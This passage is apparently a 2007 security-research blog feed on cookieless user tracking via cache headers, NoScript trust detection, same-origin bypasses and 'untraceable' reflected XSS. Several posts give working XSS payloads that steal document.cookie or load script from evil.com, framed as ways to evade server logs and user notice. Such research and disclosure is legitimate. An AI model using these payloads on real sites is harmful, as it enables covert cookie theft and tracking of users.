If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.&lt;br /&gt;&lt;br /&gt;The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.&lt;br /&gt;&lt;br /&gt;Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.&lt;br /&gt;&lt;br /&gt;As such it would be better to use the Last-Modified/If-Modified-Since headers.&lt;br /&gt;&lt;br /&gt;All you need to do now is embed a tracking image in each page, and send a unique date  each time no If-Modified-Since header is sent, and a blank 304 response at all other times.&lt;br /&gt;&lt;br /&gt;The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made &lt;=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.&lt;br /&gt;&lt;br /&gt;You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.&lt;br /&gt;&lt;br /&gt;You would still need to use one of these techniques though, because you need to serve  different pieces of javascript to different people, and have that piece of javascript  cached as long as possible.&lt;br /&gt;&lt;br /&gt;But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's &lt;a href="http://jeremiahgrossman.blogspot.com/2007/04/tracking-users-without-cookies.html"&gt;Basic Auth Tracking&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6598993223751212794?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6598993223751212794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6598993223751212794' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6598993223751212794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6598993223751212794'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/05/tracking-users-with-cache-data.html' title='Tracking users with Cache Data'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6102521629835081646</id><published>2007-05-16T17:00:00.000+10:00</published><updated>2007-05-16T20:55:18.531+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Extension Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Determining sites trusted by NoScript</title><content type='html'>With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Open Redirect&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:&lt;br /&gt;&lt;br /&gt;detect.php:&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;query.php:&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {&lt;br /&gt; print "Untrusted!";&lt;br /&gt;} else {&lt;br /&gt; print "Trusted!&amp;lt;br /&amp;gt;\n";&lt;br /&gt; print "For ID: ".$_SERVER['QUERY_STRING'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Non-Open Redirects&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;We cannot use Javascript to determine where you've been.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;We cannot actually pass a parameter to where we will be redirected.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;The solution to the first problem lies here: &lt;a href="http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/"&gt;http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.&lt;br /&gt;&lt;br /&gt;Most systems which perform closed redirection have URLs which look like:&lt;br /&gt;&lt;code&gt;http://www.site.com/redir.php?id=123&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Where the id value is first run through &lt;a href="http://www.php.net/intval"&gt;intval()&lt;/a&gt;, then put directly into an SQL statement.&lt;br /&gt;&lt;br /&gt;Now, we can exploit this fact by sending people to a URL like this:&lt;br /&gt;&lt;code&gt;http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:&lt;br /&gt;&lt;code&gt;http://www.site.com/redir.php?id=%3F123%26id%3D&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.&lt;br /&gt;&lt;br /&gt;If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Controlled Off-Site Resources&lt;/h2&gt;&lt;br /&gt;If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and  &amp;lt;script&amp;gt; in another, will cause the referer to be different on Trusted and Untrusted sites.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Generic Method&lt;/h1&gt;&lt;br /&gt;The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.&lt;br /&gt;&lt;br /&gt;And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.&lt;br /&gt;&lt;br /&gt;If you send a user to:&lt;br /&gt;&lt;code&gt;http://www.site.com/page.php?param=%3Ctest%3E&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And the history hack says the user has been to&lt;br /&gt;&lt;code&gt;http://www.site.com/page.php?param=%20test%20&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Then the site is obviously trusted.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Uses&lt;/h2&gt;&lt;br /&gt;These techniques can be used to either gather data about the user ala the &lt;a href="http://ha.ckers.org/blog/20070512/master-recon-tool-mr-t/"&gt;Master Recon Tool (Mr. T)&lt;/a&gt; or the &lt;a href="http://blackdragon.jungsonnstudios.com/"&gt;Black Dragon&lt;/a&gt; Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Final notes&lt;/h2&gt;&lt;br /&gt;Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.&lt;br /&gt;&lt;br /&gt;The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.&lt;br /&gt;&lt;br /&gt;Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?&lt;br /&gt;&lt;br /&gt;Beats me; I just thought this was interesting.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6102521629835081646?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6102521629835081646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6102521629835081646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6102521629835081646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6102521629835081646'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/05/determining-sites-trusted-by-noscript.html' title='Determining sites trusted by NoScript'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-8242427272108764928</id><published>2007-04-28T21:21:00.000+10:00</published><updated>2007-07-21T10:08:13.667+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning</title><content type='html'>This is a short post, but I thought this warranted its own post, so that the message is not lost.&lt;br /&gt;&lt;br /&gt;One of the repercussions of this post: &lt;a href="http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html"&gt;http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html&lt;/a&gt; is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.&lt;br /&gt;&lt;br /&gt;And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:&lt;br /&gt;&lt;br /&gt;attack.target.evil.com -&gt; web server controlled by evil.com&lt;br /&gt;target.evil.com -&gt; victim web server running Google Analytics (or other document.location referencing code)&lt;br /&gt;&lt;br /&gt;Is possible. Now, since attack.target.evil.com can communicate with target.evil.com &lt;a href="#1"&gt;[1]&lt;/a&gt; as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.&lt;br /&gt;&lt;br /&gt;Another way the DNS-&gt;IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a &lt;a href="http://sla.ckers.org/forum/read.php?3,5905"&gt;"domain generalisation"&lt;/a&gt; scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.&lt;br /&gt;&lt;br /&gt;And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.&lt;br /&gt;&lt;br /&gt;&lt;a name="1"&gt;[1]&lt;/a&gt; Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-8242427272108764928?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/8242427272108764928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=8242427272108764928' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8242427272108764928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8242427272108764928'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/04/creating-sockets-to-sites-which-run.html' title='Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5265811077091101883</id><published>2007-04-27T17:43:00.000+10:00</published><updated>2007-04-28T21:21:00.354+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Breaking the same origin policy in an upwards direction (IE &amp; Firefox Only)</title><content type='html'>To explain why this is meaningful, I'll first give a quick primer on the document.domain property:&lt;br /&gt;&lt;br /&gt;The document.domain is by default set to the hostname which is used to access a site.&lt;br /&gt;&lt;br /&gt;The document.domain property is &lt;b&gt;not&lt;/b&gt; read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld&lt;a href="#1"&gt;[1]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.&lt;br /&gt;&lt;br /&gt;Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property &lt;b&gt;has&lt;/b&gt; been modified cannot communicate with it.&lt;br /&gt;&lt;br /&gt;Firefox and IE do have this check, but it seems a bit more relaxed. &lt;b&gt;If the upper level domain &lt;u&gt;reads&lt;/u&gt; the document.location property this check is seemingly ignored.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now, one might be tempted to shrug this off, but many tracking scripts, and &lt;b&gt;Google Analytics&lt;/b&gt; tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.&lt;br /&gt;&lt;br /&gt;&lt;a name="1"&gt;[1]&lt;/a&gt; The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: &lt;a href="http://sla.ckers.org/forum/read.php?13,10863"&gt;http://sla.ckers.org/forum/read.php?13,10863&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5265811077091101883?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5265811077091101883/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5265811077091101883' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5265811077091101883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5265811077091101883'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html' title='Breaking the same origin policy in an upwards direction (IE &amp; Firefox Only)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4454181953823738690</id><published>2007-04-27T17:18:00.000+10:00</published><updated>2007-04-28T10:52:52.621+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>This isn't the post your looking for either</title><content type='html'>A few days ago prdelka post a blog post entitled "&lt;a href="http://blogs.23.nu/prdelka"&gt;This isnt the post your looking for&lt;/a&gt;", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.&lt;br /&gt;&lt;br /&gt;For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.&lt;br /&gt;&lt;br /&gt;What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?&lt;br /&gt;&lt;br /&gt;And if you're in Britain, how will this affect you?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4454181953823738690?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blogs.23.nu/prdelka/stories/14852/' title='This isn&apos;t the post your looking for either'/><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4454181953823738690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4454181953823738690' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4454181953823738690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4454181953823738690'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/04/this-isnt-post-your-looking-for-either.html' title='This isn&apos;t the post your looking for either'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1705112453799195123</id><published>2007-04-01T14:15:00.000+10:00</published><updated>2007-07-21T10:08:47.000+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Untraceable XSS Attacks Version 2</title><content type='html'>I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).&lt;br /&gt;&lt;br /&gt;Now this got me thinking; the client can still read the portion of the URL after the # symbol.&lt;br /&gt;&lt;br /&gt;So why not put the location of our logic after the URL fragment like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=&amp;lt;script&amp;gt;var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);&amp;lt;/script&amp;gt;#http://www.evil.com/s.js"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.&lt;br /&gt;&lt;br /&gt;Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.&lt;br /&gt;&lt;br /&gt;And it seems like a &lt;i&gt;much&lt;/i&gt; cleaner method than the last two posts to me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1705112453799195123?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1705112453799195123/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1705112453799195123' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1705112453799195123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1705112453799195123'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/04/untraceable-xss-attacks-version-2.html' title='Untraceable XSS Attacks Version 2'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-592806944887326468</id><published>2007-03-30T17:12:00.000+10:00</published><updated>2007-04-21T11:11:48.727+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>(Non-Persistent) Untraceable XSS Attacks (IE &amp; Opera version)</title><content type='html'>&lt;b&gt;[EDIT]&lt;/b&gt;: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.&lt;br /&gt;&lt;br /&gt;Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.&lt;br /&gt;&lt;br /&gt;Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.&lt;br /&gt;&lt;br /&gt;But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.&lt;br /&gt;&lt;br /&gt;We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=&amp;lt;script&amp;gt;document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&amp;cookie='+escape(document.cookie);&amp;lt;/script&amp;gt;"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And then our attack page would have to look something more like this:&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.domain = 'com.';&lt;br /&gt;function logic () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var loc = window.frames[0].document.location;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var cookie = substr (loc.lastIndexOf("=") + 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(cookie);&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="go.php" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I have &lt;i&gt;not&lt;/i&gt; tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-592806944887326468?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/592806944887326468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=592806944887326468' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/592806944887326468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/592806944887326468'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html' title='(Non-Persistent) Untraceable XSS Attacks (IE &amp; Opera version)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5777782690565278765</id><published>2007-03-30T10:12:00.000+10:00</published><updated>2007-04-21T11:11:45.748+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>(Non-Persistent) Untraceable XSS Attacks</title><content type='html'>&lt;b&gt;[EDIT]&lt;/b&gt;: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.&lt;br /&gt;&lt;br /&gt;When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.&lt;br /&gt;&lt;br /&gt;Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.&lt;br /&gt;&lt;br /&gt;But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.&lt;br /&gt;&lt;br /&gt;It turns out you can set the document.domain property to just 'com' if you have a .com domain.&lt;br /&gt;&lt;br /&gt;Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.&lt;br /&gt;&lt;br /&gt;The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.&lt;br /&gt;&lt;br /&gt;And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.&lt;br /&gt;&lt;br /&gt;The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:&lt;br /&gt;&lt;br /&gt;attack.php :&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.domain = 'com';&lt;br /&gt;function logic () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(window.frames[0].document.cookie);&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="go.php" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;go.php :&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=&amp;lt;script&amp;gt;document.domain='com';window.parent.logic();&amp;lt;/script&amp;gt;"&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.&lt;br /&gt;&lt;br /&gt;Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.&lt;br /&gt;&lt;br /&gt;Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Old Post:&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;When most XSS attacks are conducted they simply inject all the 